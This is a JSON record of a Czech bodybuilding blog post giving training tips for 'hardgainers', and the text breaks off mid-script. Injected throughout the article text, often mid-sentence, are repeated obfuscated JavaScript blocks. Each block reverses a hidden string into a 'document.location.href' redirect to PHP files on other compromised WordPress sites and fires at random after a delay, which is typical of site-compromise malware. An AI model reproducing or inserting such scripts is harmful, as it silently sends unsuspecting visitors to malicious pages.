{"id":132,"date":"2019-04-30T14:22:58","date_gmt":"2019-04-30T14:22:58","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=132"},"modified":"2019-04-30T14:22:58","modified_gmt":"2019-04-30T14:22:58","slug":"i-hardgainer-muze-byt-mohutny","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/04\/30\/i-hardgainer-muze-byt-mohutny\/","title":{"rendered":"I HARDGAINER M\u016e\u017dE B\u00ddT MOHUTN\u00dd"},"content":{"rendered":"<p><strong>Mo\u017en\u00e1 jste <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to s\u00a0genetikou zrovna nevyhr\u00e1li. To ale neznamen\u00e1, \u017ee se mus\u00edte sm\u00ed\u0159it s\u00a0moment\u00e1ln\u00edm stavem. M\u00e1me pro v\u00e1s n\u011bkolik tip\u016f, d\u00edky kter\u00fdm nastartuje budov\u00e1n\u00ed hmoty i ten nejv\u011bt\u0161\u00ed smola\u0159. <\/strong><\/p>\n<p><strong>\u00a0<\/strong><strong>TAH\u00c1K PRO V\u0160ECHNY HARDGAINERY<\/strong><\/p>\n<ol>\n<li>\u00a0 Najd\u011bte si \u010das.<\/li>\n<li>\u00a0 Zvl\u00e1dn\u011bte z\u00e1kladn\u00ed cviky.<\/li>\n<li>\u00a0 Koncentrujte se na ka\u017edou s\u00e9rii.<\/li>\n<li>\u00a0 Budujte s\u00edlu.<\/li>\n<li>\u00a0 Pravideln\u011b konzumujte b\u00edlkoviny.<\/li>\n<li>\u00a0 Osvojte si princip p\u0159et\u00ed\u017een\u00ed.<\/li>\n<\/ol>\n<p>Je \u010das pod\u00edvat se pravd\u011b do o\u010d\u00ed. Kdo je ve skute\u010dnosti hardgainer? Pravdou je, \u017ee prakticky ka\u017ed\u00fd. Nen\u00ed b\u011b\u017en\u00e9 potk\u00e1vat kulturisty, kte\u0159\u00ed nab\u00edraj\u00ed svalovou hmotu sami od sebe, ani\u017e by se o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edli\u0161 sna\u017eili. V\u011bt\u0161ina lid\u00ed, kte\u0159\u00ed chod\u00ed pravideln\u011b do posilovny, v\u00ed moc dob\u0159e, \u017ee za ka\u017ed\u00fdm kilogramem sval\u016f se skr\u00fdv\u00e1 tvrd\u00e1 d\u0159ina, \u017ee je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to frustruj\u00edc\u00ed proces, kter\u00fd netrv\u00e1 t\u00fddny nebo m\u011bs\u00edce, ale roky!<\/p>\n<p>Kdy\u017e svoj\u00ed snaze ob\u011btujete maximum \u2013 a pochopiteln\u011b spoustu \u010dasu \u2013 p\u0159es<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se m\u016f\u017ee st\u00e1t, \u017ee nebudou v\u00fdsledky uspokojiv\u00e9. V\u00a0takov\u00e9m p\u0159\u00edpad\u011b je pak ale nutn\u00e9 zm\u011bnit pl\u00e1n bitvy. Nab\u00edz\u00edme v\u00e1m n\u011bkolik dobr\u00fdch rad, jak <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho dos\u00e1hnout.<\/p>\n<p><strong>Nem\u016f\u017eeme zm\u011bnit va\u0161i genetiku, ale m\u016f\u017eeme v\u00e1m poradit, <\/strong><\/p>\n<p><strong>jak usp\u011bt s\u00a0genetikou, kterou m\u00e1te. <\/strong><\/p>\n<p>Porad\u00edme v\u00e1m, jak dos\u00e1hnout uspokojiv\u00fdch tr\u00e9ninkov\u00fdch v\u00fdsledk\u016f.<\/p>\n<ol>\n<li><strong>NAJD\u011aTE SI \u010cAS.<\/strong><\/li>\n<\/ol>\n<p>Pro dosa\u017een\u00ed \u00fasp\u011bch\u016f v\u00a0kulturistice je velmi d\u016fle\u017eit\u00e9 naj\u00edt si optim\u00e1ln\u00ed \u010das pro tr\u00e9nink. Pokud m\u00e1te podat nejlep\u0161\u00ed v\u00fdkony, mus\u00edte b\u00fdt v\u00a0posilovn\u011b v\u00a0dobu, kter\u00e1 v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to umo\u017en\u00ed. Pat\u0159\u00edte-li mezi rann\u00ed pt\u00e1\u010data, ale cvi\u010d\u00edte sp\u00ed\u0161e ve\u010der, kdy u\u017e nem\u00e1te moc energie, pak byste \u010das tr\u00e9ninku m\u011bli zm\u011bnit. Kdy\u017e tr\u00e9nujete v\u00a0dobu, kdy m\u00e1te nejv\u00edce energie a jste schopni se koncentrovat, pak uvid\u00edte v\u00fdsledky prakticky okam\u017eit\u011b.<\/p>\n<ol start=\"2\">\n<li><strong>ZVL\u00c1DN\u011aTE Z\u00c1KLADN\u00cd CVIKY.<\/strong><\/li>\n<\/ol>\n<p>Jestli v\u00e1s <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to t\u00e1hne sp\u00ed\u0161e k\u00a0jednoru\u010dk\u00e1m, upa\u017eov\u00e1n\u00ed a kickback\u016fm, pak je \u010das zm\u011bnit zp\u016fsob my\u0161len\u00ed \u2013 a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to hned. Ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cviky jsou bezpochyby d\u016fle\u017eit\u00e9 pro tvarov\u00e1n\u00ed sval\u016f, ale nem\u016f\u017eete od nich o\u010dek\u00e1vat v\u00fdrazn\u00fd n\u00e1r\u016fst svalov\u00e9 hmoty.<\/p>\n<p>V\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sm\u011bru je dost mo\u017en\u00e1 nejd\u016fle\u017eit\u011bj\u0161\u00ed, abyste se nau\u010dili efektivn\u011b za\u0159azovat z\u00e1kladn\u00ed cviky, jako jsou d\u0159epy, mrtv\u00fd tah, bench press, tlaky nad hlavou a p\u0159\u00edtahy. Jsou <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cviky n\u00e1ro\u010dn\u00e9, ale funguj\u00ed.<\/p>\n<ol start=\"3\">\n<li><strong>KONCENTRUJTE SE NA KA\u017dDOU S\u00c9RII.<\/strong><\/li>\n<\/ol>\n<p>Bez ohledu na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, jak vypad\u00e1 v\u00e1\u0161 tr\u00e9nink, dbejte, abyste ka\u017edou s\u00e9rii zvl\u00e1dli s\u00a0pln\u00fdm nasazen\u00edm. Co t\u00edm m\u00e1me na mysli? Je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jednoduch\u00e9, a\u017e p\u0159\u00edli\u0161 mnoho hardgainer\u016f se na s\u00e9rie nekoncentruje. Z\u00e1kladem je zvolit takovou z\u00e1t\u011b\u017e, kter\u00e1 v\u00e1m umo\u017en\u00ed dos\u00e1hnout vy\u010derp\u00e1n\u00ed p\u0159i p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed. Jestli\u017ee se nap\u0159\u00edklad sna\u017e\u00edte jet s\u00e9rii o 10 opakov\u00e1n\u00edch, nem\u016f\u017eete volit v\u00e1hu n\u00e1hodn\u011b, prov\u00e9st deset opakov\u00e1n\u00ed a skon\u010dit, i kdy\u017e byste jich zvl\u00e1dli v\u00edc. Jestli\u017ee m\u00e1 b\u00fdt s\u00e9rie opravdu kvalitn\u00ed, pak by m\u011bla b\u00fdt z\u00e1t\u011b\u017e takov\u00e1, abyste jeden\u00e1ct\u00e9 opakov\u00e1n\u00ed u\u017e nezvl\u00e1dli.<\/p>\n<ol start=\"4\">\n<li><strong>BUDUJTE S\u00cdLU.<\/strong><\/li>\n<\/ol>\n<p>Jednodu\u0161e \u0159e\u010deno, \u010d\u00edm v\u011bt\u0161\u00ed z\u00e1t\u011b\u017e m\u016f\u017eete pou\u017eit\u00ed, t\u00edm v\u00edce svalov\u00e9 hmoty vybudujete. Pokud pat\u0159\u00edte mezi hardgainery, m\u011bli byste se v\u00a0prvn\u00ed \u0159ad\u011b zamyslet a zkontrolovat, jestli kladete dostate\u010dn\u00fd d\u016fraz na koncept s\u00edly. Nejde snad ani o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 